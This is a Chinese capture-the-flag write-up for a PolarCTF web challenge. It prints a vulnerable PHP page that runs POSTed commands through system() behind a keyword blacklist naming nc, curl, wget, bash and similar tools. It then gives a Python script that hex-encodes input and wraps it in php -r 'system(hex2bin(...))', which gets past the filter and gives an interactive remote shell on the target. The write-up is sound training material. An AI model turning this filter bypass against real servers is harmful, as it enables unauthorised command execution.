Polar Web【中等】你知道sys还能这样玩吗
Contents
- Polar Web【中等】你知道sys还能这样玩吗
- 思路&探索
- 源码
- EXP
- PHP测试生成十六进制化的命令
- 上传测试
- Python 脚本
- 运行&总结
思路&探索
本题属实是有些…即使提示了
sys
也难以迅速想到/sys.php
这个路径,然后继续分析:
- 进入这个路由内,可看到下面所示的源码,可见该程序所做的过滤量较为大,因此常规方法难以处理,但可发现并未过滤引号,可以尝试用引号的绕过,不过本文采用的是指令十六进制编码绕过的方式
- 另外考虑了使用
php -r 'system();'
方式来触发指令,其中传入指令的十六进制字符串,具体测试过程可见后文- 经过测试发现页面反馈了指令执行结果,找到
flag.txt
位于根目录,构造查看指令转进制传入,获取flag
- 本文通过脚本方式进行破解,详见后文
源码
<?php
show_source(__FILE__);if(isset($_POST['cmd'])){echo "<pre>";$cmd = $_POST['cmd'];if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {$output = system($cmd);echo $output;}echo "</pre>";
}
?>
EXP
PHP测试生成十六进制化的命令
<?php$cmd = 'ls';$a = bin2hex($cmd);echo $a."\n";
?>
ls
的十六进制串
上传测试
- 上传
ls
指令的返回结果
Python 脚本
from requests import post, get
import binasciidef attack(url, pl):data = {'cmd': pl,}resp = post(url, data).textif resp:print(resp)else:print("Nothing...")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/sys.php'while True:cmd = input(">> ")if cmd == 'quit':breakcmd = binascii.hexlify(cmd.encode()).decode()print(cmd)cmd = "php -r \'system(hex2bin(\"" + cmd + "\"));'"attack(u, cmd)
运行&总结
- 单语句PHP语句执行指令 ——
php -r
- 在python中将原字符串转为十六进制字符串的方法 ——
binascii